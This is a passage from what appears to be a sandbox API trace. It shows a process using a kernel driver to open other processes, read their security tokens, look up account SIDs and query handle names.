[3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.281] CloseHandle (hObject=0xc8) returned 1 [0114.281] CloseHandle (hObject=0xc0) returned 1 [0114.281] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.281] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.281] PsAcquireProcessExitSynchronization () returned 0x0 [0114.281] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880055905d0) [0114.281] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020f7cb0, HandleInformation=0x0) returned 0x0 [0114.281] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.281] PsReleaseProcessExitSynchronization () returned 0x2 [0114.281] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0114.282] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.282] ObfDereferenceObject (Object=0xfffffa80020f7cb0) returned 0x1 [0114.282] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.282] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.282] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.282] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0114.282] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.282] PsAcquireProcessExitSynchronization () returned 0x0 [0114.282] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880055905d0) [0114.282] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a225b0, HandleInformation=0x0) returned 0x0 [0114.282] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.282] PsReleaseProcessExitSynchronization () returned 0x2 [0114.282] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0114.282] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.282] ObfDereferenceObject (Object=0xfffffa8001a225b0) returned 0x1 [0114.282] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.282] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.282] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.282] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.282] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.282] PsAcquireProcessExitSynchronization () returned 0x0 [0114.282] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880055905d0) [0114.282] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.282] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.282] PsReleaseProcessExitSynchronization () returned 0x2 [0114.282] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0114.282] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.282] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.282] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.282] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.282] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xac0) returned 0xc0 [0114.283] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.283] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002110630, HandleInformation=0x0) returned 0x0 [0114.283] ObOpenObjectByPointer (in: Object=0xfffffa8002110630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.283] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x12 [0114.283] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.283] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.283] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.283] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.283] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.284] CloseHandle (hObject=0xc8) returned 1 [0114.284] CloseHandle (hObject=0xc0) returned 1 [0114.284] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.284] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.284] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.284] PsAcquireProcessExitSynchronization () returned 0x0 [0114.284] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880055905d0) [0114.284] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020ceba0, HandleInformation=0x0) returned 0x0 [0114.284] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.285] PsReleaseProcessExitSynchronization () returned 0x2 [0114.285] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0114.285] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.285] ObfDereferenceObject (Object=0xfffffa80020ceba0) returned 0x1 [0114.285] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.285] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.285] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0114.285] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.285] PsAcquireProcessExitSynchronization () returned 0x0 [0114.285] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880055905d0) [0114.285] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002127ac0, HandleInformation=0x0) returned 0x0 [0114.285] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.285] PsReleaseProcessExitSynchronization () returned 0x2 [0114.285] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0114.285] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.285] ObfDereferenceObject (Object=0xfffffa8002127ac0) returned 0x1 [0114.285] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.285] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.285] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.285] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.285] PsAcquireProcessExitSynchronization () returned 0x0 [0114.285] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880055905d0) [0114.285] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.285] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.285] PsReleaseProcessExitSynchronization () returned 0x2 [0114.285] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0114.285] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.285] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.285] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.286] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.286] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad0) returned 0xc0 [0114.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.286] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002121b30, HandleInformation=0x0) returned 0x0 [0114.286] ObOpenObjectByPointer (in: Object=0xfffffa8002121b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.286] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x12 [0114.286] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.286] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.286] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.286] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.286] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.287] CloseHandle (hObject=0xc8) returned 1 [0114.287] CloseHandle (hObject=0xc0) returned 1 [0114.288] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.288] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.288] PsAcquireProcessExitSynchronization () returned 0x0 [0114.288] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880055905d0) [0114.288] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020ca070, HandleInformation=0x0) returned 0x0 [0114.288] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.288] PsReleaseProcessExitSynchronization () returned 0x2 [0114.288] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0114.288] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.288] ObfDereferenceObject (Object=0xfffffa80020ca070) returned 0x1 [0114.288] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.288] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.288] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0114.288] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.288] PsAcquireProcessExitSynchronization () returned 0x0 [0114.288] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880055905d0) [0114.288] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800212f6f0, HandleInformation=0x0) returned 0x0 [0114.288] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.288] PsReleaseProcessExitSynchronization () returned 0x2 [0114.288] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0114.288] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.288] ObfDereferenceObject (Object=0xfffffa800212f6f0) returned 0x1 [0114.288] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.288] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.288] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.289] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.289] PsAcquireProcessExitSynchronization () returned 0x0 [0114.289] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff880055905d0) [0114.289] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.289] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.289] PsReleaseProcessExitSynchronization () returned 0x2 [0114.289] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0114.289] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.289] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.289] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.289] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.289] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae0) returned 0xc0 [0114.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.289] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80021385f0, HandleInformation=0x0) returned 0x0 [0114.289] ObOpenObjectByPointer (in: Object=0xfffffa80021385f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.289] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x12 [0114.289] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.289] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.289] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.289] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.289] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.425] CloseHandle (hObject=0xc8) returned 1 [0114.425] CloseHandle (hObject=0xc0) returned 1 [0114.425] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.425] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.425] PsAcquireProcessExitSynchronization () returned 0x0 [0114.425] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880055905d0) [0114.425] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002138f20, HandleInformation=0x0) returned 0x0 [0114.425] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.425] PsReleaseProcessExitSynchronization () returned 0x2 [0114.425] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0114.425] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.425] ObfDereferenceObject (Object=0xfffffa8002138f20) returned 0x1 [0114.425] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.426] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.426] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0114.426] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.426] PsAcquireProcessExitSynchronization () returned 0x0 [0114.426] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880055905d0) [0114.426] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800213cf20, HandleInformation=0x0) returned 0x0 [0114.426] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.426] PsReleaseProcessExitSynchronization () returned 0x2 [0114.426] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0114.426] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.426] ObfDereferenceObject (Object=0xfffffa800213cf20) returned 0x1 [0114.426] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.426] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.426] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.428] PsLookupProcessByProcessId (in: 